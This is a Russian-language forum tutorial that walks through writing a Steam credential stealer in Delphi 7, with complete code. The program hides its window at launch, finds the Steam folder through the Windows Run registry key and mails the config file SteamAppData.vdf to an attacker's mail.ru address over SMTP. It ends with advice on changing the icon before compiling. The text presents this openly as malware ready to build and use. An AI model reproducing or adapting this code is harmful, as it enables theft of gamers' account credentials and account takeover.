Сегодня мы будем писать свой стиллер на Delphi 7.
Он будет много весить ~ 800кб (да я знаю консоль + winsock рулят но мне было лень).
И так что нам нужно будет реализовать:
1. Поиск папки стима и самого файла с пассами
2. Отправка файла на почту.
Поехали.
Откроем Delphi 7, создадим проект. Создали? идем дальше.
Чтобы формы не было при открытии стиллера добавим строку.
Delphi highlight
Код:
Application.ShowMainForm:= False;
Для работы с реестром в Uses пропишем Registry;
Добавим компонент IdAntiFreeze из вкладки IndyMisc
Добавим переменнные
Delphi highlight
Код:
var
Form1: TForm1;
m:TIdMessage;
sm:tidsmtp;
att:tidattachment;
Создадим процедуру для коннекта и отправки файла
Delphi highlight
Код:
procedure send(pathSteam, login, pass, kuda:string);
begin
m:=TIdMessage.create(form1);
m.From.Text:=login; //логин отправителя
m.Recipients.Add;
m.Recipients.Items[0].Text:=kuda; // Кому
m.Subject:='Привет мой друг';// тема
m.Body.Text:='Это тебе ';// текст
sm:=tidsmtp.Create(form1);
sm.AuthenticationType := atLogin;
sm.Host:='smtp.mail.ru'; //smtp-адрес
att:=TIdAttachment.Create(m.MessageParts,pathSteam);
sm.Username:=login; //логин отправителя
sm.Password:=pass; //пароль отправителя
sm.Connect();
if sm.Connected then
begin
sm.Send(M);
end;
sm.Disconnect;
att.Free;
sm.Free;
end;
Delphi highlight
Код:
function ReadReg(root:integer; t,key:string):string;
var
s:string;
reg: TRegistry;
begin
reg := TRegistry.Create;
reg.RootKey := root;
reg.OpenKey(key, true);
case reg.Getdatatype(t) of
rdString, rdExpandString:
s:= reg.ReadString(t);
rdInteger:
s:= IntToStr(reg.readinteger(t));
else
s:='other type';
end;
result:=s;
reg.Free;
end;
Delphi highlight
Код:
function Pars(TextIn, Text, TextOut: string): string;
var
TempStr: string;
begin
Result := '';
TempStr := Text;
TempStr := Copy(TempStr, Pos(TextIn, TempStr) +1, Length(TempStr));
Delete(TempStr, Pos(TextOut, TempStr), Length(TempStr));
Result := TempStr;
end;
Кликаем 2 раза по форме
Применим процедуры
procedure TForm1.FormCreate(Sender: TObject);
var
regpath, path:string;
begin
regpath:=ReadReg(HKEY_CURRENT_USER,'Steam','\Software\Microsoft\Windows\CurrentVersion\Run');
path:=Pars('"',regpath, '"');
path:=ExtractFilePath(path)+'config\SteamAppData.vdf';
send(path, 'логин@mail.ru', 'пароль', 'Куда слать@mail.ru');
end;
Все. С кодом мы закончили. Теперь приступим с изменению иконки и компиляции.
Изменить иконку не составит проблем.
Сохраним проект.
File -> Save as -> Обязательно выберите отдельную папку.
Компилируем
Сам exe файл соранен в вашу папку с проектом.
Все стиллер готов.
Использование материалов, только с разрешения администрации
Вся информация
предоставленная на сайте в целях ознакомления данных материалов.
Любое копирование без размещения ссылки на источник запрещено!
Используются технологии uCoz